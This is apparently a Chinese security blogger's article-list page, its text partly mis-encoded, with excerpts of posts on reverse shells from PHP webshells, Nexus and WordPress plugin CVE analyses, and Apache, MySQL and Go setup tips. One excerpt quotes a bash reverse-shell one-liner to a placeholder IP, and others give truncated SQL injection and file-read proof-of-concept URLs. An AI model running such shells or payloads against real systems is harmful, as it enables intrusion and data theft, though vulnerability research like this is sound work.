如果你拿到了webshell?。。。。?如果你還在用傳統(tǒng)寫法 /bin/bash -i >& /dev/tcp/x.x.x.x/9090 0>&1 無(wú)回顯感到煩惱時(shí) 如果你能...
IP屬地：浙江
-
PHP最高效的weshell反彈方式?。ㄡ槍?duì)各種無(wú)回顯） -
Codeql進(jìn)階源碼分析之Java代碼漏掃模塊1.1（XXE漏洞CWE-601）寫在最前面 在看這一坨的時(shí)候，你首先要具備2個(gè)要素，第一你知道這個(gè)漏洞是如何產(chǎn)生和如何規(guī)避。第二這一系列的分析都是都是基于官方的dll庫(kù)分析，前提是你已經(jīng)了解了Codeq...
-
CVE-2019-7238分析，Nexus Repository Manager 3介紹：Nexus Repository Manager是一個(gè)maven管理功能系統(tǒng) 影響版本：Nexus Repository Manager up to 3.13 漏洞類型...
-
CVE-2020-10199分析，Nexus Repository Manager介紹：Nexus Repository Manager是一個(gè)maven管理功能系統(tǒng) 影響版本：Nexus Repository Manager up to 3.21 漏洞類型...
-
如何使用IDEA遠(yuǎn)程調(diào)試Sonatype Nexus Repository Manager1、Docker運(yùn)行起來(lái)NRM（Sonatype Nexus Repository Manager） docker pull sonatype/nexus3:3.21.0（拉...
-
Xerte 3.10.3 - Directory Traversal (Authenticated)很簡(jiǎn)單的繞過(guò)。 http://127.0.0.1:8081/xerteonlinetoolkits-3.8.5-33/getfile.php?file=1-guest2-1/...
-
-
CVE-2022–21661 WordPress 《=5.3, 攜帶WP_QUERY插件SQL注入POC：http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php POST ...
-
WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)接收參數(shù)的過(guò)濾方法并不能去除 select sleep等函數(shù)。time處理有問(wèn)題 http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wo...
-
Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injectionesc_sql() 有問(wèn)題 orderby無(wú)法過(guò)濾
-
# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php?action=duplicator_download&fil...
-
WordPress Plugin Backup and Restore 1.0.3 - Arbitrary File Deletionplugins get Arbitrary File Deletion() POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1H...
-
Apache .htaccess <ifModule在這里不允許
在我的Apache.conf中添加： <Directory/>AllowOverrideALL</Directory>
-
apache 目錄訪問(wèn)不到
一：禁止 Apache 顯示目錄結(jié)構(gòu)列表，只需將 Option 中的 Indexes 去掉即可。刪除index.html必須?。。。?！ 比如我們看看一個(gè)目錄的目錄配置： Op...
-
Mac系統(tǒng)下Xdebug模塊在phpinfo()不顯示的解決方案！
1這個(gè)問(wèn)題困惑了我很久，全世界都搜不到能解決我的問(wèn)題的答案，如果此答案可以幫到你們，那是你們的榮幸！因?yàn)槲铱隙芙鉀Q你們的問(wèn)題，當(dāng)然我是蘋果系統(tǒng)，其他系統(tǒng)出現(xiàn)此情況的可能性比...
-
mysql5.6報(bào)錯(cuò)顯示丟失mysql.sock在mac上BIg sur版本
1 mysql5.6系列在最新的mac big sur版本上有很多詭異問(wèn)題。比如var/lib/mysql 在安裝初期并未創(chuàng)建。/temp下的mysql.sock也沒(méi)有創(chuàng)建。...
-
centos下安裝golang環(huán)境一直使用windows作為開(kāi)發(fā)環(huán)境。現(xiàn)在嘗試一下使用騰訊云服務(wù)器的centos7.5的linxu云服務(wù)器搭建golang環(huán)境 第一步 在golang中文社區(qū)的下載中獲取地址：...
個(gè)人介紹
大家好！我是Billie擅長(zhǎng)手動(dòng)分析各種漏洞！這里只會(huì)分析漏洞產(chǎn)生的原理！喜歡就關(guān)注吧！粉絲超過(guò)1000公布簡(jiǎn)書的0day！